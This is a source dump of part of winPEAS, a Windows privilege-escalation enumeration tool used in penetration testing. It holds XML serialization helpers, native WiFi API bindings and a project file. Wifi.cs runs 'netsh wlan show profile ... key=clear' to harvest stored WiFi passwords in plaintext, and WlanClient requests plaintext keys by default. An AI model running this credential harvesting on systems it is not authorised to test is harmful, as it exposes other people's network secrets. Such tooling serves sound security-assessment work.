if (includeNS) writer.WriteStartElement(oName, GetTopLevelNamespace(obj)); else writer.WriteStartElement(oName); if (obj is IXmlSerializable) { ((IXmlSerializable)obj).WriteXml(writer); } else { WriteObjectAttributes(writer, obj, handler); WriteObjectProperties(writer, obj, handler); } writer.WriteEndElement(); } public static string GetElementName([NotNull] object obj) { object oVal = null; return GetAttributeValue(obj.GetType(), typeof(XmlRootAttribute), "ElementName", true, ref oVal) ? oVal.ToString() : obj.GetType().Name; } public static string GetTopLevelNamespace([NotNull] object obj) { object oVal = null; return GetAttributeValue(obj.GetType(), typeof(XmlRootAttribute), "Namespace", true, ref oVal) ? oVal.ToString() : null; } public static void ReadObjectProperties([NotNull] XmlReader reader, [NotNull] object obj, PropertyConversionHandler handler = null) { // Build property lookup table PropertyInfo[] props = obj.GetType().GetProperties(BindingFlags.Instance | BindingFlags.Public); Dictionary attrHash = new Dictionary(props.Length); Dictionary propHash = new Dictionary(props.Length); foreach (var pi in props) { if (!Attribute.IsDefined(pi, typeof(XmlIgnoreAttribute), false)) { if (Attribute.IsDefined(pi, typeof(XmlAttributeAttribute), false)) attrHash.Add(GetPropertyAttributeName(pi), pi); else propHash.Add(GetPropertyElementName(pi), pi); } } if (reader.HasAttributes) { for (int i = 0; i < reader.AttributeCount; i++) { PropertyInfo pi; reader.MoveToAttribute(i); if (attrHash.TryGetValue(reader.LocalName, out pi)) { if (IsStandardType(pi.PropertyType)) { object value = null; if (pi.PropertyType.IsEnum) value = Enum.Parse(pi.PropertyType, reader.Value); else value = Convert.ChangeType(reader.Value, pi.PropertyType); if (handler != null) handler(pi, obj, ref value); pi.SetValue(obj, value, null); } } } } while (reader.MoveToContent() == XmlNodeType.Element) { PropertyInfo pi; object outVal = null; if (propHash.TryGetValue(reader.LocalName, out pi)) { var tc = TypeDescriptor.GetConverter(pi.PropertyType); if (IsStandardType(pi.PropertyType)) { object value = null; if (pi.PropertyType.IsEnum) value = Enum.Parse(pi.PropertyType, reader.ReadElementContentAsString()); else if (pi.PropertyType == typeof(Guid)) value = new GuidConverter().ConvertFromString(reader.ReadElementContentAsString()); else value = reader.ReadElementContentAs(pi.PropertyType, null); if (handler != null) handler(pi, obj, ref value); pi.SetValue(obj, value, null); } else if (pi.PropertyType == typeof(Version)) { Version v = new Version(reader.ReadElementContentAsString()); pi.SetValue(obj, v, null); } else if (pi.PropertyType.GetInterface("IEnumerable") != null && pi.PropertyType.GetInterface("IXmlSerializable") == null && GetAttributeValue(pi, typeof(XmlArrayAttribute), "ElementName", true, ref outVal)) { string elem = string.IsNullOrEmpty(outVal?.ToString()) ? pi.Name : outVal.ToString(); reader.ReadStartElement(elem); var attributes = Attribute.GetCustomAttributes(pi, typeof(XmlArrayItemAttribute), true); var dict = new Dictionary(attributes.Length); foreach (XmlArrayItemAttribute a in attributes) dict.Add(a.ElementName, a.Type); List output = new List(); while (reader.MoveToContent() == XmlNodeType.Element) { Type itemType; if (dict.TryGetValue(reader.LocalName, out itemType)) { object o; if (IsStandardType(itemType)) o = reader.ReadElementContentAs(itemType, null); else { o = Activator.CreateInstance(itemType); ReadObject(reader, o, handler); } if (o != null) output.Add(o); } } reader.ReadEndElement(); if (output.Count > 0) { System.Collections.IEnumerable par = output; Type et = typeof(object); if (dict.Count == 1) { foreach (var v in dict.Values) { et = v; break; } } /*else { Type t1 = output[0].GetType(); bool same = true; foreach (var item in output) if (item.GetType() != t1) { same = false; break; } if (same) et = t1; } if (et != typeof(object)) { Array ao = Array.CreateInstance(et, output.Count); for (int i = 0; i < output.Count; i++) ao.SetValue(output[i], i); par = ao; } else par = output.ToArray();*/ bool done = false; if (pi.PropertyType == par.GetType() || (pi.PropertyType.IsArray && (pi.PropertyType.GetElementType() == typeof(object) || pi.PropertyType.GetElementType() == et))) try { pi.SetValue(obj, par, null); done = true; } catch { } if (!done) { var mi = pi.PropertyType.GetMethod("AddRange", new Type[] { typeof(System.Collections.IEnumerable) }); if (mi != null) try { mi.Invoke(pi.GetValue(obj, null), new object[] { par }); done = true; } catch { } } if (!done) { var mi = pi.PropertyType.GetMethod("Add", new Type[] { typeof(object) }); if (mi != null) try { foreach (var i in par) mi.Invoke(pi.GetValue(obj, null), new object[] { i }); done = true; } catch { } } if (!done && et != typeof(Object)) { var mi = pi.PropertyType.GetMethod("Add", new Type[] { et }); if (mi != null) try { foreach (var i in par) mi.Invoke(pi.GetValue(obj, null), new object[] { i }); done = true; } catch { } } // Throw error if not done } } else { object inst = pi.GetValue(obj, null) ?? Activator.CreateInstance(pi.PropertyType); if (inst == null) throw new InvalidOperationException($"Can't get instance of {pi.PropertyType.Name}."); ReadObject(reader, inst, handler); } } else { reader.Skip(); reader.MoveToContent(); } } } public static void ReadObject([NotNull] XmlReader reader, [NotNull] object obj, PropertyConversionHandler handler = null) { if (obj == null) throw new ArgumentNullException(nameof(obj)); reader.MoveToContent(); if (obj is IXmlSerializable) { ((IXmlSerializable)obj).ReadXml(reader); } else { object oVal = null; string oName = GetAttributeValue(obj.GetType(), typeof(XmlRootAttribute), "ElementName", true, ref oVal) ? oVal.ToString() : obj.GetType().Name; if (reader.LocalName != oName) throw new XmlException("XML element name does not match object."); if (!reader.IsEmptyElement) { reader.ReadStartElement(); reader.MoveToContent(); ReadObjectProperties(reader, obj, handler); reader.ReadEndElement(); } else reader.Skip(); } } public static void ReadObjectFromXmlText([NotNull] string xml, [NotNull] object obj, PropertyConversionHandler handler = null) { using (System.IO.StringReader sr = new System.IO.StringReader(xml)) { using (XmlReader reader = XmlReader.Create(sr)) { reader.MoveToContent(); ReadObject(reader, obj, handler); } } } public static string WriteObjectToXmlText([NotNull] object obj, PropertyConversionHandler handler = null) { StringBuilder sb = new StringBuilder(); using (XmlWriter writer = XmlWriter.Create(sb, new XmlWriterSettings() { Indent = true })) WriteObject(writer, obj, handler, true); return sb.ToString(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/Wifi/NativeWifiApi/Enums.cs ================================================ using System; namespace winPEAS.Wifi.NativeWifiApi { /// /// Defines flags passed to . /// [Flags] public enum WlanGetAvailableNetworkFlags { /// /// No additional flags /// None = 0, /// /// Include all ad-hoc network profiles in the available network list, including profiles that are not visible. /// IncludeAllAdhocProfiles = 0x00000001, /// /// Include all hidden network profiles in the available network list, including profiles that are not visible. /// IncludeAllManualHiddenProfiles = 0x00000002 } [Flags] public enum WlanProfileFlags { // When getting profiles, the absence of the "User" or "GroupPolicy" flags implies that the profile // is an "AllUser" profile. This can also be viewed as having no flag -- hence "None" and "AllUser" // are equivalent None = 0, AllUser = 0, GroupPolicy = 1, User = 2, GetPlaintextKey = 4 } /// /// Defines the access mask of an all-user profile. /// [Flags] public enum WlanAccess { /// /// The user can view profile permissions. /// ReadAccess = 0x00020000 | 0x0001, /// /// The user has read access, and the user can also connect to and disconnect from a network using the profile. /// ExecuteAccess = ReadAccess | 0x0020, /// /// The user has execute access and the user can also modify and delete permissions associated with a profile. /// WriteAccess = ReadAccess | ExecuteAccess | 0x0002 | 0x00010000 | 0x00040000 } /// /// Specifies where the notification comes from. /// [Flags] public enum WlanNotificationSource { None = 0, /// /// All notifications, including those generated by the 802.1X module. /// All = 0X0000FFFF, /// /// Notifications generated by the auto configuration module. /// ACM = 0X00000008, /// /// Notifications generated by MSM. /// MSM = 0X00000010, /// /// Notifications generated by the security module. /// Security = 0X00000020, /// /// Notifications generated by independent hardware vendors (IHV). /// IHV = 0X00000040 } /// /// Defines connection parameter flags. /// [Flags] public enum WlanConnectionFlags { /// /// Connect to the destination network even if the destination is a hidden network. A hidden network does not broadcast its SSID. Do not use this flag if the destination network is an ad-hoc network. /// If the profile specified by is not null, then this flag is ignored and the nonBroadcast profile element determines whether to connect to a hidden network. /// HiddenNetwork = 0x00000001, /// /// Do not form an ad-hoc network. Only join an ad-hoc network if the network already exists. Do not use this flag if the destination network is an infrastructure network. /// AdhocJoinOnly = 0x00000002, /// /// Ignore the privacy bit when connecting to the network. Ignoring the privacy bit has the effect of ignoring whether packets are encryption and ignoring the method of encryption used. Only use this flag when connecting to an infrastructure network using a temporary profile. /// IgnorePrivacyBit = 0x00000004, /// /// Exempt EAPOL traffic from encryption and decryption. This flag is used when an application must send EAPOL traffic over an infrastructure network that uses Open authentication and WEP encryption. This flag must not be used to connect to networks that require 802.1X authentication. This flag is only valid when is set to . Avoid using this flag whenever possible. /// EapolPassthrough = 0x00000008 } /// /// Indicates the state of an interface. /// /// /// Corresponds to the native WLAN_INTERFACE_STATE type. /// public enum WlanInterfaceState { /// /// The interface is not ready to operate. /// NotReady = 0, /// /// The interface is connected to a network. /// Connected = 1, /// /// The interface is the first node in an ad hoc network. No peer has connected. /// AdHocNetworkFormed = 2, /// /// The interface is disconnecting from the current network. /// Disconnecting = 3, /// /// The interface is not connected to any network. /// Disconnected = 4, /// /// The interface is attempting to associate with a network. /// Associating = 5, /// /// Auto configuration is discovering the settings for the network. /// Discovering = 6, /// /// The interface is in the process of authenticating. /// Authenticating = 7 } /// /// Defines an 802.11 PHY and media type. /// /// /// Corresponds to the native DOT11_PHY_TYPE type. /// public enum Dot11PhyType : uint { /// /// Specifies an unknown or uninitialized PHY type. /// Unknown = 0, /// /// Specifies any PHY type. /// Any = Unknown, /// /// Specifies a frequency-hopping spread-spectrum (FHSS) PHY. Bluetooth devices can use FHSS or an adaptation of FHSS. /// FHSS = 1, /// /// Specifies a direct sequence spread spectrum (DSSS) PHY. /// DSSS = 2, /// /// Specifies an infrared (IR) baseband PHY. /// IrBaseband = 3, /// /// Specifies an orthogonal frequency division multiplexing (OFDM) PHY. 802.11a devices can use OFDM. /// OFDM = 4, /// /// Specifies a high-rate DSSS (HRDSSS) PHY. /// HRDSSS = 5, /// /// Specifies an extended rate PHY (ERP). 802.11g devices can use ERP. /// ERP = 6, /// /// Specifies the start of the range that is used to define PHY types that are developed by an independent hardware vendor (IHV). /// IHV_Start = 0x80000000, /// /// Specifies the end of the range that is used to define PHY types that are developed by an independent hardware vendor (IHV). /// IHV_End = 0xffffffff } /// /// Defines a basic service set (BSS) network type. /// /// /// Corresponds to the native DOT11_BSS_TYPE type. /// public enum Dot11BssType { /// /// Specifies an infrastructure BSS network. /// Infrastructure = 1, /// /// Specifies an independent BSS (IBSS) network. /// Independent = 2, /// /// Specifies either infrastructure or IBSS network. /// Any = 3 } /// /// Defines the mode of connection. /// /// /// Corresponds to the native WLAN_CONNECTION_MODE type. /// public enum WlanConnectionMode { /// /// A profile will be used to make the connection. /// Profile = 0, /// /// A temporary profile will be used to make the connection. /// TemporaryProfile, /// /// Secure discovery will be used to make the connection. /// DiscoverySecure, /// /// Unsecure discovery will be used to make the connection. /// DiscoveryUnsecure, /// /// A connection will be made automatically, generally using a persistent profile. /// Auto, /// /// Not used. /// Invalid } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/Wifi/NativeWifiApi/Interop.cs ================================================ using System.ComponentModel; using System.Diagnostics; namespace winPEAS.Wifi.NativeWifiApi { public static class Wlan { #region P/Invoke API public const uint WLAN_CLIENT_VERSION_XP_SP2 = 1; public const uint WLAN_CLIENT_VERSION_LONGHORN = 2; public const uint WLAN_MAX_NAME_LENGTH = 256; #endregion /// /// Helper method to wrap calls to Native WiFi API methods. /// If the method falls, throws an exception containing the error code. /// /// The error code. [DebuggerStepThrough] internal static void ThrowIfError(int win32ErrorCode) { if (win32ErrorCode != 0) throw new Win32Exception(win32ErrorCode); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/Wifi/NativeWifiApi/Structs.cs ================================================ using System; using System.Runtime.InteropServices; namespace winPEAS.Wifi.NativeWifiApi { /// /// Contains information provided when registering for notifications. /// /// /// Corresponds to the native WLAN_NOTIFICATION_DATA type. /// [StructLayout(LayoutKind.Sequential)] public struct WlanNotificationData { /// /// Specifies where the notification comes from. /// /// /// On Windows XP SP2, this field must be set to , or . /// public WlanNotificationSource notificationSource; /// /// Indicates the type of notification. The value of this field indicates what type of associated data will be present in . /// public int notificationCode; /// /// Indicates which interface the notification is for. /// public Guid interfaceGuid; /// /// Specifies the size of , in bytes. /// public int dataSize; /// /// Pointer to additional data needed for the notification, as indicated by . /// public IntPtr dataPtr; } /// /// Specifies the parameters used when using the function. /// /// /// Corresponds to the native WLAN_CONNECTION_PARAMETERS type. /// [StructLayout(LayoutKind.Sequential)] public struct WlanConnectionParameters { /// /// Specifies the mode of connection. /// public WlanConnectionMode wlanConnectionMode; /// /// Specifies the profile being used for the connection. /// The contents of the field depend on the : /// /// /// Value of /// Contents of the profile string /// /// /// /// The name of the profile used for the connection. /// /// /// /// The XML representation of the profile used for the connection. /// /// /// , or /// null /// /// /// [MarshalAs(UnmanagedType.LPWStr)] public string profile; /// /// Pointer to a structure that specifies the SSID of the network to connect to. /// This field is optional. When set to null, all SSIDs in the profile will be tried. /// This field must not be null if is set to or . /// public IntPtr dot11SsidPtr; /// /// Pointer to a structure that contains the list of basic service set (BSS) identifiers desired for the connection. /// /// /// On Windows XP SP2, must be set to null. /// public IntPtr desiredBssidListPtr; /// /// A value that indicates the BSS type of the network. If a profile is provided, this BSS type must be the same as the one in the profile. /// public Dot11BssType dot11BssType; /// /// Specifies ocnnection parameters. /// /// /// On Windows XP SP2, must be set to 0. /// public WlanConnectionFlags flags; } [StructLayout(LayoutKind.Sequential)] internal struct WlanBssListHeader { internal uint totalSize; internal uint numberOfItems; } /// /// Contains information about a basic service set (BSS). /// [StructLayout(LayoutKind.Sequential)] public struct WlanBssEntry { /// /// Contains the SSID of the access point (AP) associated with the BSS. /// public Dot11Ssid dot11Ssid; /// /// The identifier of the PHY on which the AP is operating. /// public uint phyId; /// /// Contains the BSS identifier. /// [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6)] public byte[] dot11Bssid; /// /// Specifies whether the network is infrastructure or ad hoc. /// public Dot11BssType dot11BssType; public Dot11PhyType dot11BssPhyType; /// /// The received signal strength in dBm. /// public int rssi; /// /// The link quality reported by the driver. Ranges from 0-100. /// public uint linkQuality; /// /// If 802.11d is not implemented, the network interface card (NIC) must set this field to TRUE. If 802.11d is implemented (but not necessarily enabled), the NIC must set this field to TRUE if the BSS operation complies with the configured regulatory domain. /// public bool inRegDomain; /// /// Contains the beacon interval value from the beacon packet or probe response. /// public ushort beaconPeriod; /// /// The timestamp from the beacon packet or probe response. /// public ulong timestamp; /// /// The host timestamp value when the beacon or probe response is received. /// public ulong hostTimestamp; /// /// The capability value from the beacon packet or probe response. /// public ushort capabilityInformation; /// /// The frequency of the center channel, in kHz. /// public uint chCenterFrequency; /// /// Contains the set of data transfer rates supported by the BSS. /// public WlanRateSet wlanRateSet; /// /// Offset of the information element (IE) data blob. /// public uint ieOffset; /// /// Size of the IE data blob, in bytes. /// public uint ieSize; } /// /// Contains the set of supported data rates. /// [StructLayout(LayoutKind.Sequential)] public struct WlanRateSet { /// /// The length, in bytes, of . /// private uint rateSetLength; /// /// An array of supported data transfer rates. /// If the rate is a basic rate, the first bit of the rate value is set to 1. /// A basic rate is the data transfer rate that all stations in a basic service set (BSS) can use to receive frames from the wireless medium. /// [MarshalAs(UnmanagedType.ByValArray, SizeConst = 126)] private ushort[] rateSet; } /// /// Contains the SSID of an interface. /// public struct Dot11Ssid { /// /// The length, in bytes, of the array. /// public uint SSIDLength; /// /// The SSID. /// [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] public byte[] SSID; } /// /// Contains information about a LAN interface. /// [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct WlanInterfaceInfo { /// /// The GUID of the interface. /// public Guid interfaceGuid; /// /// The description of the interface. /// [MarshalAs(UnmanagedType.ByValTStr, SizeConst = (int)Wlan.WLAN_MAX_NAME_LENGTH)] public string interfaceDescription; /// /// The current state of the interface. /// public WlanInterfaceState isState; } /// /// The header of the list returned by . /// [StructLayout(LayoutKind.Sequential)] internal struct WlanInterfaceInfoListHeader { public uint numberOfItems; public uint index; } /// /// The header of the list returned by . /// [StructLayout(LayoutKind.Sequential)] internal struct WlanProfileInfoListHeader { public uint numberOfItems; public uint index; } /// /// Contains basic information about a profile. /// [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct WlanProfileInfo { /// /// The name of the profile. This value may be the name of a domain if the profile is for provisioning. Profile names are case-sensitive. /// [MarshalAs(UnmanagedType.ByValTStr, SizeConst = (int)Wlan.WLAN_MAX_NAME_LENGTH)] public string profileName; /// /// Profile flags. /// public WlanProfileFlags profileFlags; } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/Wifi/NativeWifiApi/WlanClient.cs ================================================ using System; using System.Collections.Generic; using System.Runtime.InteropServices; using winPEAS.Native; namespace winPEAS.Wifi.NativeWifiApi { internal class WlanClient { // c# net api: https://github.com/jorgebv/windows-wifi-api // powershell: https://github.com/jcwalker/WiFiProfileManagement public class WlanInterface { private WlanClient client; private WlanInterfaceInfo info; internal WlanInterface(WlanClient client, WlanInterfaceInfo info) { this.client = client; this.info = info; } /// /// Gets the profile's XML specification. /// /// The name of the profile. /// Whether the password should be unencrypted in the returned XML. By default this is false and the password is left encrypted. /// The XML document. public string GetProfileXml(string profileName, bool unencryptedPassword = true) { var flags = unencryptedPassword ? WlanProfileFlags.GetPlaintextKey : WlanProfileFlags.None; Wlan.ThrowIfError( WlanApi.WlanGetProfile( client.clientHandle, info.interfaceGuid, profileName, IntPtr.Zero, out var profileXmlPtr, out flags, out _)); try { return Marshal.PtrToStringUni(profileXmlPtr); } finally { WlanApi.WlanFreeMemory(profileXmlPtr); } } /// /// Gets the information of all profiles on this interface. /// /// The profiles information. public WlanProfileInfo[] GetProfiles() { Wlan.ThrowIfError( WlanApi.WlanGetProfileList(client.clientHandle, info.interfaceGuid, IntPtr.Zero, out var profileListPtr)); try { var header = (WlanProfileInfoListHeader)Marshal.PtrToStructure(profileListPtr, typeof(WlanProfileInfoListHeader)); WlanProfileInfo[] profileInfos = new WlanProfileInfo[header.numberOfItems]; long profileListIterator = profileListPtr.ToInt64() + Marshal.SizeOf(header); for (int i = 0; i < header.numberOfItems; ++i) { WlanProfileInfo profileInfo = (WlanProfileInfo)Marshal.PtrToStructure(new IntPtr(profileListIterator), typeof(WlanProfileInfo)); profileInfos[i] = profileInfo; profileListIterator += Marshal.SizeOf(profileInfo); } return profileInfos; } finally { WlanApi.WlanFreeMemory(profileListPtr); } } } private IntPtr clientHandle; private uint negotiatedVersion; private Dictionary ifaces = new Dictionary(); public WlanClient() { Wlan.ThrowIfError( WlanApi.WlanOpenHandle( Wlan.WLAN_CLIENT_VERSION_XP_SP2, IntPtr.Zero, out negotiatedVersion, out clientHandle)); } ~WlanClient() { if (clientHandle != IntPtr.Zero) { WlanApi.WlanCloseHandle(clientHandle, IntPtr.Zero); } } /// /// Gets the WLAN interfaces. /// /// The WLAN interfaces. public WlanInterface[] Interfaces { get { Wlan.ThrowIfError( WlanApi.WlanEnumInterfaces( clientHandle, IntPtr.Zero, out var ifaceList)); try { var header = (WlanInterfaceInfoListHeader)Marshal.PtrToStructure( ifaceList, typeof(WlanInterfaceInfoListHeader)); Int64 listIterator = ifaceList.ToInt64() + Marshal.SizeOf(header); WlanInterface[] interfaces = new WlanInterface[header.numberOfItems]; List currentIfaceGuids = new List(); for (int i = 0; i < header.numberOfItems; ++i) { var info = (WlanInterfaceInfo)Marshal.PtrToStructure( new IntPtr(listIterator), typeof(WlanInterfaceInfo)); listIterator += Marshal.SizeOf(info); currentIfaceGuids.Add(info.interfaceGuid); var wlanIface = ifaces.ContainsKey(info.interfaceGuid) ? ifaces[info.interfaceGuid] : new WlanInterface(this, info); interfaces[i] = wlanIface; ifaces[info.interfaceGuid] = wlanIface; } // Remove stale interfaces var deadIfacesGuids = new Queue(); foreach (Guid ifaceGuid in ifaces.Keys) { if (!currentIfaceGuids.Contains(ifaceGuid)) deadIfacesGuids.Enqueue(ifaceGuid); } while (deadIfacesGuids.Count != 0) { Guid deadIfaceGuid = deadIfacesGuids.Dequeue(); ifaces.Remove(deadIfaceGuid); } return interfaces; } finally { WlanApi.WlanFreeMemory(ifaceList); } } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/Wifi/Wifi.cs ================================================ using System.Collections.Generic; using System.Text.RegularExpressions; using winPEAS.Helpers; namespace winPEAS.Wifi { internal class Wifi { public static Dictionary Retrieve() { Dictionary connections = new Dictionary(); foreach (string ssid in GetSSIDs()) { string password = GetPassword(ssid); connections.Add(ssid, password); } return connections; } private static IEnumerable GetSSIDs() { string args = "wlan show profiles"; string result = MyUtils.ExecCMD(args, "netsh"); Regex regex = new Regex(@"\s+:\s+([^\r\n]+)", RegexOptions.Multiline); MatchCollection matches = regex.Matches(result); List ssids = new List(); for (int i = 0; i < matches.Count; i++) { if (matches[i].Groups.Count > 0 && !string.IsNullOrWhiteSpace(matches[i].Groups[1].Value)) { ssids.Add(matches[i].Groups[1].Value); } } return ssids; } private static string GetPassword(string ssid) { string args = $@" wlan show profile name=""{ssid}"" key=""clear"""; string result = MyUtils.ExecCMD(args, "netsh"); Regex regex = new Regex(@"Key Content\s+:\s+([^\r\n]+)", RegexOptions.Multiline); MatchCollection matches = regex.Matches(result); string password = string.Empty; if (matches.Count > 0 && matches[0].Groups.Count > 1) { password = matches[0].Groups[1].Value; } return password; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/packages.config ================================================  ================================================ FILE: winPEAS/winPEASexe/winPEAS/winPEAS.csproj ================================================  Debug AnyCPU {D934058E-A7DB-493F-A741-AE8E3DF867F4} Exe winPEAS winPEAS v4.8 false 512 true publish\ true Disk false Foreground 7 Days false false true 0 1.0.0.%2a false false true AnyCPU true full false bin\Debug\ TRUE WIN32 _MSC_VER NDEBUG NO_TCL SQLITE_ASCII SQLITE_DISABLE_LFS SQLITE_ENABLE_OVERSIZE_CELL_CHECK SQLITE_MUTEX_OMIT SQLITE_OMIT_AUTHORIZATION SQLITE_OMIT_DEPRECATED SQLITE_OMIT_GET_TABLE SQLITE_OMIT_INCRBLOB SQLITE_OMIT_LOOKASIDE SQLITE_OMIT_SHARED_CACHE SQLITE_OMIT_UTF16 SQLITE_OMIT_VIRTUALTABLE SQLITE_OS_WIN SQLITE_SYSTEM_MALLOC VDBE_PROFILE_OFF prompt 4 false 8.0 true AnyCPU pdbonly true bin\Release\ TRUE WIN32 _MSC_VER NDEBUG NO_TCL SQLITE_ASCII SQLITE_DISABLE_LFS SQLITE_ENABLE_OVERSIZE_CELL_CHECK SQLITE_MUTEX_OMIT SQLITE_OMIT_AUTHORIZATION SQLITE_OMIT_DEPRECATED SQLITE_OMIT_GET_TABLE SQLITE_OMIT_INCRBLOB SQLITE_OMIT_LOOKASIDE SQLITE_OMIT_SHARED_CACHE SQLITE_OMIT_UTF16 SQLITE_OMIT_VIRTUALTABLE SQLITE_OS_WIN SQLITE_SYSTEM_MALLOC VDBE_PROFILE_OFF prompt 4 false 8.0 false MinimumRecommendedRules.ruleset true true true bin\x64\Debug\ TRUE WIN32 _MSC_VER NDEBUG NO_TCL SQLITE_ASCII SQLITE_DISABLE_LFS SQLITE_ENABLE_OVERSIZE_CELL_CHECK SQLITE_MUTEX_OMIT SQLITE_OMIT_AUTHORIZATION SQLITE_OMIT_DEPRECATED SQLITE_OMIT_GET_TABLE SQLITE_OMIT_INCRBLOB SQLITE_OMIT_LOOKASIDE SQLITE_OMIT_SHARED_CACHE SQLITE_OMIT_UTF16 SQLITE_OMIT_VIRTUALTABLE SQLITE_OS_WIN SQLITE_SYSTEM_MALLOC VDBE_PROFILE_OFF full AnyCPU 8.0 prompt MinimumRecommendedRules.ruleset false true 0168 ; 0169; 0414; 0618; 0649 bin\x64\Release\ TRUE WIN32 _MSC_VER NDEBUG NO_TCL SQLITE_ASCII SQLITE_DISABLE_LFS SQLITE_ENABLE_OVERSIZE_CELL_CHECK SQLITE_MUTEX_OMIT SQLITE_OMIT_AUTHORIZATION SQLITE_OMIT_DEPRECATED SQLITE_OMIT_GET_TABLE SQLITE_OMIT_INCRBLOB SQLITE_OMIT_LOOKASIDE SQLITE_OMIT_SHARED_CACHE SQLITE_OMIT_UTF16 SQLITE_OMIT_VIRTUALTABLE SQLITE_OS_WIN SQLITE_SYSTEM_MALLOC VDBE_PROFILE_OFF true pdbonly x64 8.0 prompt MinimumRecommendedRules.ruleset false true true bin\x86\Debug\ TRUE WIN32 _MSC_VER NDEBUG NO_TCL SQLITE_ASCII SQLITE_DISABLE_LFS SQLITE_ENABLE_OVERSIZE_CELL_CHECK SQLITE_MUTEX_OMIT SQLITE_OMIT_AUTHORIZATION SQLITE_OMIT_DEPRECATED SQLITE_OMIT_GET_TABLE SQLITE_OMIT_INCRBLOB SQLITE_OMIT_LOOKASIDE SQLITE_OMIT_SHARED_CACHE SQLITE_OMIT_UTF16 SQLITE_OMIT_VIRTUALTABLE SQLITE_OS_WIN SQLITE_SYSTEM_MALLOC VDBE_PROFILE_OFF full x86 8.0 prompt MinimumRecommendedRules.ruleset false true bin\x86\Release\ TRUE WIN32 _MSC_VER NDEBUG NO_TCL SQLITE_ASCII SQLITE_DISABLE_LFS SQLITE_ENABLE_OVERSIZE_CELL_CHECK SQLITE_MUTEX_OMIT SQLITE_OMIT_AUTHORIZATION SQLITE_OMIT_DEPRECATED SQLITE_OMIT_GET_TABLE SQLITE_OMIT_INCRBLOB SQLITE_OMIT_LOOKASIDE SQLITE_OMIT_SHARED_CACHE SQLITE_OMIT_UTF16 SQLITE_OMIT_VIRTUALTABLE SQLITE_OS_WIN SQLITE_SYSTEM_MALLOC VDBE_PROFILE_OFF true pdbonly x86 8.0 prompt MinimumRecommendedRules.ruleset false true ..\packages\Portable.BouncyCastle.1.9.0\lib\net40\BouncyCastle.Crypto.dll ..\packages\Costura.Fody.5.7.0\lib\netstandard1.0\Costura.dll ..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.dll ..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.SqlServer.dll ..\packages\Microsoft.Bcl.AsyncInterfaces.9.0.1\lib\net462\Microsoft.Bcl.AsyncInterfaces.dll ..\packages\Microsoft.Win32.Primitives.4.3.0\lib\net46\Microsoft.Win32.Primitives.dll True True ..\packages\System.AppContext.4.3.0\lib\net463\System.AppContext.dll True True ..\packages\System.Buffers.4.5.1\lib\net461\System.Buffers.dll ..\packages\System.Console.4.3.0\lib\net46\System.Console.dll True True ..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\lib\net451\System.Data.SQLite.dll ..\packages\System.Data.SQLite.EF6.1.0.119.0\lib\net451\System.Data.SQLite.EF6.dll ..\packages\System.Data.SQLite.Linq.1.0.119.0\lib\net451\System.Data.SQLite.Linq.dll ..\packages\System.Diagnostics.DiagnosticSource.4.3.0\lib\net46\System.Diagnostics.DiagnosticSource.dll ..\packages\System.Diagnostics.Tracing.4.3.0\lib\net462\System.Diagnostics.Tracing.dll True True ..\packages\System.Globalization.Calendars.4.3.0\lib\net46\System.Globalization.Calendars.dll True True ..\packages\System.IO.4.3.0\lib\net462\System.IO.dll True True ..\packages\System.IO.Compression.4.3.0\lib\net46\System.IO.Compression.dll True True ..\packages\System.IO.Compression.ZipFile.4.3.0\lib\net46\System.IO.Compression.ZipFile.dll True True ..\packages\System.IO.FileSystem.4.3.0\lib\net46\System.IO.FileSystem.dll True True ..\packages\System.IO.FileSystem.Primitives.4.3.0\lib\net46\System.IO.FileSystem.Primitives.dll True True ..\packages\System.IO.Pipelines.9.0.1\lib\net462\System.IO.Pipelines.dll ..\packages\System.Linq.4.3.0\lib\net463\System.Linq.dll True True ..\packages\System.Linq.Expressions.4.3.0\lib\net463\System.Linq.Expressions.dll True True ..\packages\System.Memory.4.5.5\lib\net461\System.Memory.dll ..\packages\System.Net.Http.4.3.4\lib\net46\System.Net.Http.dll True ..\packages\System.Net.Sockets.4.3.0\lib\net46\System.Net.Sockets.dll True True ..\packages\System.Numerics.Vectors.4.5.0\lib\net46\System.Numerics.Vectors.dll ..\packages\System.Reflection.4.3.0\lib\net462\System.Reflection.dll True True ..\packages\System.Runtime.4.3.0\lib\net462\System.Runtime.dll True True ..\packages\System.Runtime.CompilerServices.Unsafe.6.0.0\lib\net461\System.Runtime.CompilerServices.Unsafe.dll ..\packages\System.Runtime.Extensions.4.3.0\lib\net462\System.Runtime.Extensions.dll True True ..\packages\System.Runtime.InteropServices.4.3.0\lib\net463\System.Runtime.InteropServices.dll True True ..\packages\System.Runtime.InteropServices.RuntimeInformation.4.3.0\lib\net45\System.Runtime.InteropServices.RuntimeInformation.dll True True ..\packages\System.Security.Cryptography.Algorithms.4.3.0\lib\net463\System.Security.Cryptography.Algorithms.dll True True ..\packages\System.Security.Cryptography.Encoding.4.3.0\lib\net46\System.Security.Cryptography.Encoding.dll True True ..\packages\System.Security.Cryptography.Primitives.4.3.0\lib\net46\System.Security.Cryptography.Primitives.dll True True ..\packages\System.Security.Cryptography.X509Certificates.4.3.0\lib\net461\System.Security.Cryptography.X509Certificates.dll True True ..\packages\System.Text.Encodings.Web.9.0.1\lib\net462\System.Text.Encodings.Web.dll ..\packages\System.Text.Json.9.0.1\lib\net462\System.Text.Json.dll ..\packages\System.Text.RegularExpressions.4.3.1\lib\net463\System.Text.RegularExpressions.dll True ..\packages\System.Threading.Tasks.Extensions.4.5.4\lib\net461\System.Threading.Tasks.Extensions.dll ..\packages\System.ValueTuple.4.5.0\lib\net47\System.ValueTuple.dll ..\packages\System.Xml.ReaderWriter.4.3.0\lib\net46\System.Xml.ReaderWriter.dll True True True True Resources.resx True True Resources.resx regexes.yaml sensitive_files.yaml windows_version_exploits.json Designer Designer ResXFileCodeGenerator Resources.Designer.cs ResXFileCodeGenerator Resources.Designer.cs False Microsoft .NET Framework 4.8 